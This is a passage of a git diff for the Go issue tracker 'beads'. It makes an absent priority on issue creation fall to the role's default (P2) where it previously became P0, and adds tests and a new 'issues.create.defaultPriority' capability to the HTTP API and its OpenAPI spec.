b/cmd/bd/create_input.go index f763c0e18..a0f584d8e 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -26,6 +26,7 @@ type createInput struct { issueType string status string priority int + priorityDefault bool // no --priority: the role's default applies assignee string externalRef string specID string @@ -180,6 +181,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { return in, HandleError("%v", err) } in.priority = priority + in.priorityDefault = !cmd.Flags().Changed("priority") in.issueType, _ = cmd.Flags().GetString("type") diff --git a/cmd/bd/create_markdown_batch_test.go b/cmd/bd/create_markdown_batch_test.go index 79c6a01f7..846aa0834 100644 --- a/cmd/bd/create_markdown_batch_test.go +++ b/cmd/bd/create_markdown_batch_test.go @@ -51,6 +51,13 @@ Second body. if !strings.Contains(out, "Created 2 issues from") { t.Errorf("create --file output = %q, want the two-issue summary", out) } + // The second template names no priority, so it asks the role for the + // default rather than spelling 2; a role that missed the ask stores P0. + for _, want := range []string{"First from file [P1, bug]", "Second from file [P2, task]"} { + if !strings.Contains(out, want) { + t.Errorf("create --file output = %q, want %q", out, want) + } + } titles := createDepsIssueTitles(t, bd, dir) for _, title := range []string{"First from file", "Second from file"} { if !titles[title] { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 4e29fcca6..f56e81cda 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -104,6 +104,10 @@ func runCreateProxiedSingle(_ *cobra.Command, ctx context.Context, in createInpu } issue := buildCreateIssueFromInput(in) + if in.priorityDefault { + // No --priority: the role applies its default (CreateRequest.DefaultPriority). + issue.Priority = 0 + } // Labels ride on the issue because that is where the contract reads them: // CreateRequest.Issue documents them as authoritative. issue.Labels = append([]string(nil), in.labels...) @@ -127,7 +131,8 @@ func runCreateProxiedSingle(_ *cobra.Command, ctx context.Context, in createInpu // and only this side can see it. Without this the proxied route mints // ids the workspace's own configuration forbids and the direct route // refuses. - IDPrefix: createIDPrefixOverride(), + IDPrefix: createIDPrefixOverride(), + DefaultPriority: in.priorityDefault, }) if err != nil { // RULING R1, reported the same way the direct route reports it: an diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index ed8e1a80f..13d8b2895 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -133,12 +133,19 @@ func nodeIssueFromInput(t *testing.T, node GraphApplyNode, in createInput) *type func TestGraphApplyNodeIssue_DefaultsAndOpts(t *testing.T) { t.Run("type and priority defaults", func(t *testing.T) { - issue := nodeIssueFromInput(t, GraphApplyNode{Key: "n", Title: "N"}, createInput{createdBy: "t"}) + node := GraphApplyNode{Key: "n", Title: "N"} + issue := nodeIssueFromInput(t, node, createInput{createdBy: "t"}) if issue.IssueType != types.TypeTask { t.Errorf("type default = %q, want task", issue.IssueType) } - if issue.Priority != 2 { - t.Errorf("priority default = %d, want 2", issue.Priority) + // A node without a priority leaves it to the role's default + // (CreateItem.DefaultPriority), so the materialized issue carries none; + // the dry-run preview shows the library default the apply will store. + if issue.Priority != 0 { + t.Errorf("materialized priority = %d, want 0 (the role applies the default)", issue.Priority) + } + if got := graphApplyPreviewPriority(node, issue); got != issueops.DefaultCreatePriority { + t.Errorf("preview priority = %d, want the library default %d", got, issueops.DefaultCreatePriority) } if issue.Status != types.StatusOpen { t.Errorf("status = %q, want open", issue.Status) diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 407dae867..7fe321c17 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -417,7 +417,7 @@ func emitGraphApplyDryRun(plan *GraphApplyPlan, opts GraphApplyOptions) error { Title: node.Title, Type: string(issue.IssueType), Status: status, - Priority: issue.Priority, + Priority: graphApplyPreviewPriority(node, issue), ParentKey: effectiveParentKey, ParentID: node.ParentID, }) @@ -798,7 +798,9 @@ func graphApplyNodeIssue(node GraphApplyNode, opts GraphApplyOptions, createdBy, metadataJSON = raw } - priority := 2 + // A node with no priority asks for the role's default + // (CreateItem.DefaultPriority); the number is not spelled here. + priority := 0 if node.Priority != nil { priority = *node.Priority } @@ -1019,9 +1021,10 @@ func buildGraphApplyBatchRequest(plan *GraphApplyPlan, opts GraphApplyOptions, a items = append(items, issueops.ApplyItem{ Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ - Key: node.Key, - Issue: issue, - MetadataRefs: metadataRefs, + Key: node.Key, + Issue: issue, + MetadataRefs: metadataRefs, + DefaultPriority: node.Priority == nil, }, }) } @@ -1212,3 +1215,14 @@ func graphApplySortedKeys(keys map[string]bool) []string { sort.Strings(out) return out } + +// graphApplyPreviewPriority is the priority the dry-run preview shows: the +// node's own, or — for a node that names none and so asks the role for its +// default — the library's DefaultCreatePriority, which is what the live apply +// will store. +func graphApplyPreviewPriority(node GraphApplyNode, issue *types.Issue) int { + if node.Priority == nil { + return issueops.DefaultCreatePriority + } + return issue.Priority +} diff --git a/cmd/bd/graph_apply_test.go b/cmd/bd/graph_apply_test.go index 1d8ded671..9499281fc 100644 --- a/cmd/bd/graph_apply_test.go +++ b/cmd/bd/graph_apply_test.go @@ -1616,3 +1616,30 @@ func TestBuildGraphApplyBatchRequestFieldsSurvive(t *testing.T) { } }) } + +// TestBuildGraphApplyBatchRequestLeavesAnAbsentPriorityToTheRole: a node with +// no priority becomes a create item asking for the role's default +// (CreateItem.DefaultPriority) with a zero Issue.Priority, and a node naming 0 +// stays P0 with the flag off. `bd create --graph` no longer spells the default. +func TestBuildGraphApplyBatchRequestLeavesAnAbsentPriorityToTheRole(t *testing.T) { + zero := 0 + req, err := buildGraphApplyBatchRequest(&GraphApplyPlan{Nodes: []GraphApplyNode{ + {Key: "a", Title: "absent"}, + {Key: "z", Title: "zero", Priority: &zero}, + }}, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + creates := map[string]*issueops.CreateItem{} + for _, item := range req.Items { + if item.Kind == issueops.ItemCreate { + creates[item.Create.Key] = item.Create + } + } + if a := creates["a"]; a == nil || !a.DefaultPriority || a.Issue.Priority != 0 { + t.Errorf("absent priority item = %+v, want DefaultPriority and a zero Issue.Priority", a) + } + if z := creates["z"]; z == nil || z.DefaultPriority || z.Issue.Priority != 0 { + t.Errorf("explicit 0 item = %+v, want P0 without DefaultPriority", z) + } +} diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index b902ad7a4..1010743c3 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -34,10 +34,14 @@ type IssueTemplate struct { Design string AcceptanceCriteria string Priority int - IssueType types.IssueType - Assignee string - Labels []string - Dependencies []string + // PrioritySet records that the file named a priority. Without one the + // create asks the role for its default (BatchCreateItem.DefaultPriority); + // Priority then only carries that default for display. + PrioritySet bool + IssueType types.IssueType + Assignee string + Labels []string + Dependencies []string } // parseStringList extracts a list of strings from content, splitting by comma or whitespace. @@ -77,6 +81,10 @@ func processIssueSection(issue *IssueTemplate, section, content string) { case "priority": if p := validation.ParsePriority(content); p != -1 { issue.Priority = p + issue.PrioritySet = true + } else { + fmt.Fprintf(os.Stderr, "Warning: invalid priority '%s' in '%s', using default P%d\n", + content, issue.Title, issueops.DefaultCreatePriority) } case "type": t, err := validation.ParseIssueType(content) @@ -193,8 +201,8 @@ func (s *markdownParseState) handleH2Header(matches []string) { // Start new issue s.currentIssue = &IssueTemplate{ Title: strings.TrimSpace(matches[1]), - Priority: 2, // Default priority - IssueType: "task", // Default type + Priority: issueops.DefaultCreatePriority, // the role's default, for display; see PrioritySet + IssueType: "task", // Default type } s.currentSection = "" } @@ -394,7 +402,7 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu // wire still refuses this request's Provenance and Owner (see // internal/httpclient/batchcreator.go), so `--file` is not // servable there yet. - Priority: template.Priority, + Priority: markdownItemPriority(template), IssueType: template.IssueType, Assignee: template.Assignee, Labels: template.Labels, @@ -405,7 +413,8 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu CreatedBy: in.createdBy, Owner: in.owner, }, - Dependencies: dependencies, + Dependencies: dependencies, + DefaultPriority: !template.PrioritySet, }) } return issueops.CreateBatchRequest{ @@ -497,3 +506,13 @@ func reportMarkdownBatch(issues []*types.Issue, in createInput) error { } return nil } + +// markdownItemPriority is the priority a template's create item carries: its +// own when the file named one, otherwise zero, because the item then asks the +// role for its default (BatchCreateItem.DefaultPriority). +func markdownItemPriority(template *IssueTemplate) int { + if template.PrioritySet { + return template.Priority + } + return 0 +} diff --git a/cmd/bd/markdown_test.go b/cmd/bd/markdown_test.go index e91ef89d7..c1ced444c 100644 --- a/cmd/bd/markdown_test.go +++ b/cmd/bd/markdown_test.go @@ -1,9 +1,13 @@ package main import ( + "fmt" "os" "path/filepath" + "strings" "testing" + + "github.com/steveyegge/beads/issueops" ) func TestParseMarkdownFile(t *testing.T) { @@ -254,6 +258,77 @@ func TestParseMarkdownFile_FileNotFound(t *testing.T) { } } +// An unparseable `### Priority` leaves the template to the role's default, and +// says so on stderr the way an unparseable `### Type` does. +func TestParseMarkdownFileWarnsOnAnInvalidPriority(t *testing.T) { + path := filepath.Join(t.TempDir(), "plan.md") + if err := os.WriteFile(path, []byte("## Urgent-ish\n\n### Priority\nurgent\n"), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + var templates []*IssueTemplate + stderr := captureStderr(t, func() { + var err error + if templates, err = parseMarkdownFile(path); err != nil { + t.Errorf("parseMarkdownFile: %v", err) + } + }) + want := fmt.Sprintf("Warning: invalid priority 'urgent' in 'Urgent-ish', using default P%d", issueops.DefaultCreatePriority) + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if len(templates) != 1 || templates[0].PrioritySet { + t.Fatalf("templates = %+v, want one template that leaves its priority to the role", templates) + } +} + +// A template without `### Priority` asks the role for its default instead of +// spelling 2; one that names a priority, 0 included, sends it without the ask. +func TestBuildMarkdownBatchRequestLeavesAnAbsentPriorityToTheRole(t *testing.T) { + path := filepath.Join(t.TempDir(), "plan.md") + plan := `## Names no priority + +## Names priority zero + +### Priority +0 + +## Names priority one + +### Priority +1 +` + if err := os.WriteFile(path, []byte(plan), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + templates, err := parseMarkdownFile(path) + if err != nil { + t.Fatalf("parseMarkdownFile: %v", err) + } + request, err := buildMarkdownBatchRequest(templates, createInput{markdownFile: path}) + if err != nil { + t.Fatalf("buildMarkdownBatchRequest: %v", err) + } + want := []struct { + title string + priority int + defaultPriority bool + }{ + {"Names no priority", 0, true}, + {"Names priority zero", 0, false}, + {"Names priority one", 1, false}, + } + if len(request.Items) != len(want) { + t.Fatalf("request has %d items, want %d", len(request.Items), len(want)) + } + for i, w := range want { + item := request.Items[i] + if item.Issue.Title != w.title || item.Issue.Priority != w.priority || item.DefaultPriority != w.defaultPriority { + t.Errorf("item %d = {%q, priority %d, DefaultPriority %v}, want {%q, priority %d, DefaultPriority %v}", + i, item.Issue.Title, item.Issue.Priority, item.DefaultPriority, w.title, w.priority, w.defaultPriority) + } + } +} + func stringSlicesEqual(a, b []string) bool { if len(a) != len(b) { return false diff --git a/cmd/bd/quick.go b/cmd/bd/quick.go index e9ab99c03..3d79d3448 100644 --- a/cmd/bd/quick.go +++ b/cmd/bd/quick.go @@ -3,6 +3,7 @@ package main import ( "errors" "fmt" + "strconv" "strings" "github.com/spf13/cobra" @@ -11,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/internal/validation" + "github.com/steveyegge/beads/issueops" ) var quickCmd = &cobra.Command{ @@ -106,7 +108,7 @@ Example: } func init() { - quickCmd.Flags().StringP("priority", "p", "2", "Priority (0-4 or P0-P4)") + quickCmd.Flags().StringP("priority", "p", strconv.Itoa(issueops.DefaultCreatePriority), "Priority (0-4 or P0-P4)") quickCmd.Flags().StringP("type", "t", "task", "Issue type") quickCmd.Flags().StringSliceP("labels", "l", []string{}, "Labels") quickCmd.Flags().String("parent", "", "Parent issue ID for hierarchical child (e.g., 'bd-a3f8e9')") diff --git a/cmd/bd/todo.go b/cmd/bd/todo.go index b05c2fc99..9ba244a3f 100644 --- a/cmd/bd/todo.go +++ b/cmd/bd/todo.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/issueops" ) var todoCmd = &cobra.Command{ @@ -254,7 +255,7 @@ func init() { todoCmd.AddCommand(doneTodoCmd) // Add flags - addTodoCmd.Flags().IntP("priority", "p", 2, "Priority (0-4, default 2)") + addTodoCmd.Flags().IntP("priority", "p", issueops.DefaultCreatePriority, "Priority (0-4, default 2)") addTodoCmd.Flags().StringP("description", "d", "", "Description") listTodosCmd.Flags().Bool("all", false, "Show all TODOs including completed") diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 2cc93e90c..299076f2a 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -77,6 +77,7 @@ go_test( "comments_test.go", "context_test.go", "count_test.go", + "create_priority_test.go", "create_test.go", "cycles_test.go", "delete_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 1d12b9fa7..9516738e8 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -475,7 +475,7 @@ type ApplyCreateItem struct { // Owner The human owner, which is a different member from `assignee`: the assignee is who is working it now, the owner is who it is attributed to. Owner *string `json:"owner,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` // Sender Who sent this, for the message-shaped rows a plan creates. Stored verbatim and interpreted by nothing on this surface. @@ -807,7 +807,7 @@ type BatchCreateItem struct { IssueType *string `json:"issue_type,omitempty"` Labels *[]string `json:"labels,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` Title string `json:"title"` } @@ -1050,7 +1050,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1220,7 +1220,7 @@ type CreateIssueRequest struct { // ParentId Creates a typed `parent-child` edge from the new issue to this target. It must not duplicate an edge `dependencies` already spells; naming the same pair twice with two types is a `400`. ParentId *string `json:"parent_id,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` // Sender Who sent this, for the message-shaped rows an orchestrator creates. Stored verbatim and interpreted by nothing on this surface. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index a1cfa73f0..6eb516386 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -434,7 +434,9 @@ func applyCreateItem(prefix string, encoded json.RawMessage, raw map[string]json issue.NoHistory = *wire.NoHistory } - item := &issueops.CreateItem{Key: derefString(wire.Key), Issue: issue} + // An absent `priority` is the role's default (CreateItem.DefaultPriority), + // never a 0 — which is P0 — made up here. + item := &issueops.CreateItem{Key: derefString(wire.Key), Issue: issue, DefaultPriority: wire.Priority == nil} refs, res := applyMetadataRefs(prefix, raw) if res != nil { return nil, res diff --git a/internal/httpapi/batch_create.go b/internal/httpapi/batch_create.go index 063816260..78ffe68e0 100644 --- a/internal/httpapi/batch_create.go +++ b/internal/httpapi/batch_create.go @@ -217,7 +217,9 @@ func batchCreateItem(index int, raw map[string]json.RawMessage) (issueops.BatchC } issue.Labels = *wire.Labels } - item := issueops.BatchCreateItem{Issue: issue} + // An absent `priority` is the role's default (BatchCreateItem.DefaultPriority), + // never a 0 — which is P0 — made up here. + item := issueops.BatchCreateItem{Issue: issue, DefaultPriority: wire.Priority == nil} if wire.Dependencies == nil { return item, nil } diff --git a/internal/httpapi/create.go b/internal/httpapi/create.go index 89901c5c5..ac64727ad 100644 --- a/internal/httpapi/create.go +++ b/internal/httpapi/create.go @@ -233,6 +233,10 @@ func (s *Server) createIssueRequest(w http.ResponseWriter, r *http.Request) (iss ParentID: derefString(wire.ParentId), InheritLabelsFromParent: derefBool(wire.InheritLabelsFromParent), ForceIDPrefix: derefBool(wire.ForceIdPrefix), + // An absent `priority` is the role's default, never a 0 this handler + // would have to make up: 0 is P0, and the document says absent means + // the default (CreateRequest.DefaultPriority). + DefaultPriority: wire.Priority == nil, } // IDPrefix stays ZERO, and its absence is a decision rather than an // omission. It exists because a workspace's own config.yaml prefix wins over diff --git a/internal/httpapi/create_priority_test.go b/internal/httpapi/create_priority_test.go new file mode 100644 index 000000000..211c2ee46 --- /dev/null +++ b/internal/httpapi/create_priority_test.go @@ -0,0 +1,99 @@ +package httpapi + +import ( + "net/http" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The three create shapes leave the default priority to the ROLE: an absent +// `priority` reaches it as DefaultPriority with a zero Issue.Priority, and an +// explicit `0` reaches it as P0 with the flag off. The handler never makes up +// the number — before, it left Issue.Priority at 0 and an absent member stored +// P0 (critical), against the document's "absent means the default". + +func TestCreateLeavesAnAbsentPriorityToTheRole(t *testing.T) { + for _, tc := range []struct { + name string + body string + wantDefault bool + wantValue int + }{ + {"absent", `{"actor":"alice","title":"t"}`, true, 0}, + {"explicit zero", `{"actor":"alice","title":"t","priority":0}`, false, 0}, + {"explicit three", `{"actor":"alice","title":"t","priority":3}`, false, 3}, + } { + t.Run(tc.name, func(t *testing.T) { + lifecycle := &roleLifecycle{createResult: issueops.CreateResult{Issue: createdIssue("bd-7")}} + ts := newCreateServer(t, lifecycle) + resp := ts.createIssue(t, tc.body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := lifecycle.createRequests() + if len(got) != 1 { + t.Fatalf("the role was called %d times, want 1", len(got)) + } + if got[0].DefaultPriority != tc.wantDefault || got[0].Issue.Priority != tc.wantValue { + t.Errorf("role got DefaultPriority=%v Priority=%d, want %v and %d", + got[0].DefaultPriority, got[0].Issue.Priority, tc.wantDefault, tc.wantValue) + } + }) + } +} + +func TestBatchCreateLeavesAnAbsentPriorityToTheRole(t *testing.T) { + creator := &roleBatchCreator{} + ts := newBatchCreateServer(t, creator) + resp := ts.claim(t, batchCreatePath, `{"actor":"alice","items":[ + {"title":"absent"}, + {"title":"zero","priority":0}, + {"title":"three","priority":3} + ]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + reqs := creator.createRequests() + if len(reqs) != 1 || len(reqs[0].Items) != 3 { + t.Fatalf("role calls = %v, want one request of three items", reqs) + } + for i, want := range []struct { + useDefault bool + priority int + }{{true, 0}, {false, 0}, {false, 3}} { + item := reqs[0].Items[i] + if item.DefaultPriority != want.useDefault || item.Issue.Priority != want.priority { + t.Errorf("item %d: DefaultPriority=%v Priority=%d, want %v and %d", + i, item.DefaultPriority, item.Issue.Priority, want.useDefault, want.priority) + } + } +} + +func TestApplyBatchLeavesAnAbsentPriorityToTheRole(t *testing.T) { + applier := &roleBatchApplier{result: issueops.ApplyBatchResult{ + Items: []issueops.ItemResult{ + {Kind: issueops.ItemCreate, IssueID: "bd-1", Changed: true}, + {Kind: issueops.ItemCreate, IssueID: "bd-2", Changed: true}, + }, + }} + ts := newApplyBatchServer(t, applier) + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[ + {"kind":"create","create":{"title":"absent"}}, + {"kind":"create","create":{"title":"zero","priority":0}} + ]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + reqs := applier.requests() + if len(reqs) != 1 || len(reqs[0].Items) != 2 { + t.Fatalf("role calls = %v, want one request of two items", reqs) + } + absent, zero := reqs[0].Items[0].Create, reqs[0].Items[1].Create + if !absent.DefaultPriority || absent.Issue.Priority != 0 { + t.Errorf("absent priority: DefaultPriority=%v Priority=%d, want true and 0", absent.DefaultPriority, absent.Issue.Priority) + } + if zero.DefaultPriority || zero.Issue.Priority != 0 { + t.Errorf("explicit 0: DefaultPriority=%v Priority=%d, want false and 0", zero.DefaultPriority, zero.Issue.Priority) + } +} diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index f0c7b69d9..33af3709b 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -174,6 +174,14 @@ const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" // still edits a template (bd-jkp9v3). const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" +// CapIssuesCreateDefaultPriority is the behavior capability that advertises +// that issues.create, issues.batchCreate and issues.batchApply's create items +// store the create default priority (P2) for a request whose `priority` member +// is ABSENT. An older server predating this token reads an absent priority as +// 0 and stores P0 (critical), so a client that does not see the token MUST +// send the default explicitly rather than omit the member. +const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -935,7 +943,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, - CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 0460d6231..99c46b3d9 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -637,7 +637,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", - "issues.batchApply.depAddLineage", "issues.update.allowTemplate") + "issues.batchApply.depAddLineage", "issues.update.allowTemplate", "issues.create.defaultPriority") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 7465f20b6..a6b5b946b 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -8142,7 +8142,11 @@ components: `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member - unknown. The + unknown, and + `issues.create.defaultPriority`, which announces that a create + (`POST /v0/beads/issues`, `issues:batchCreate` and + `issues:batchApply` create items) with no `priority` member stores + the default P2 rather than P0. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -9790,7 +9794,12 @@ 